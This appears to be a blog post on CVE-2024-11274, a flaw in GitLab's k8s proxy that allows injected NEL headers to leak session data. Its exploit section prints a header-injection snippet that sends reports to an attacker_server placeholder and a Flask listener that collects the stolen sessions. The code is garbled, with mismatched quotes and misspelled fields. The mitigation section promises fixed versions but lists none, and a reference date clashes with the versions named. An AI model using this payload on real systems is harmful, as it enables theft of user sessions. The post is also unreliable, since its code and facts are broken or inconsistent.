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A critical security vulnerability has been discovered in GitLab CE/EE (Community Edition and Enterprise Edition) that could allow attackers to inject Network Error Logging (NEL) headers in k8s proxy responses, ultimately leading to session data exfiltration. This issue affects all GitLab versions from 16.1 to 17.4.6, from 17.5 to 17.5.4, and from 17.6 to 17.6.2.

This blog post will provide an in-depth overview of this vulnerability (CVE-2024-11274), its exploit details, relevant code snippets, and original references to help developers and security researchers better understand the issue and implement appropriate security measures.

Overview of CVE-2024-11274 Vulnerability

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The vulnerability discovered in GitLab CE/EE stems from the improper handling of k8s proxy response headers. Attackers can exploit this issue by injecting malicious NEL (Network Error Logging) headers into the proxy response, allowing them to exfiltrate sensitive session data. This vulnerability's severity and potential impact is high, potentially compromising user and system data.

Exploit Details

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To exploit this vulnerability, an attacker would need to first identify a vulnerable GitLab instance. Once the target is identified, the attacker can craft a malicious NEL header and inject it into the k8s proxy response.

Here is a post-exploitation code snippet that demonstrates the injection of a malicious NEL header

# Injecting malicious NEL header into the k8s proxy response
header = {'NEL': 'report_to "{attacker_server}", max_age"86400", "uccess_fraction": 1., "failure_fraction": 1., policy "{\"endpoint_groups\": {\"default\": { \"endpoints\": [{\"url\": \"https://'attacker_server'\/}_\/nel\";, \"header\": \"report_only\"]}}\"}'}
request.post(URL, headers=header, data=data)

In this code snippet, the attacker crafts the NEL header using their server, which will receive the collected session data. The max_age parameter helps control the data collection window, and the success_fraction and failure_fraction parameters ensure that data is collected regardless of request success or failure.

Here is a code snippet that shows how the attacker retrieves and processes the exfiltrated session data:

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/_NEL', methods=['POST'])
def nel_report():
  raw_data = request.data
  # Process the exfiltrated session data here
  return jsonify(success=True)

if __name__ == '__main__':
  app.run(host='...', port=80)

In this code snippet, the attacker uses a Flask web application to receive and process session data forwarded by exploited GitLab instances. The attacker can use this information to potentially disclose sensitive user information or compromise relevant systems.

Mitigation

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To mitigate this vulnerability in GitLab CE/EE, it is recommended to upgrade to one of the following fixed versions immediately:

Original References

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- GitLab Security Advisory: https://about.gitlab.com/releases/2024/06/23/security-release-gitlab-17-dot-5-dot-4-and-gitlab-17-dot-6-dot-2/
- CVE Entry (NIST NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-11274

Conclusion

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CVE-2024-11274 is a significant security vulnerability in GitLab CE/EE, which allows attackers to exfiltrate sensitive session data through the injection of NEL headers in k8s proxy responses. Updating to a fixed GitLab version is crucial for mitigating this vulnerability and protecting your GitLab instances from potential exploitation.

Timeline

Published on: 12/12/2024 12:15:22 UTC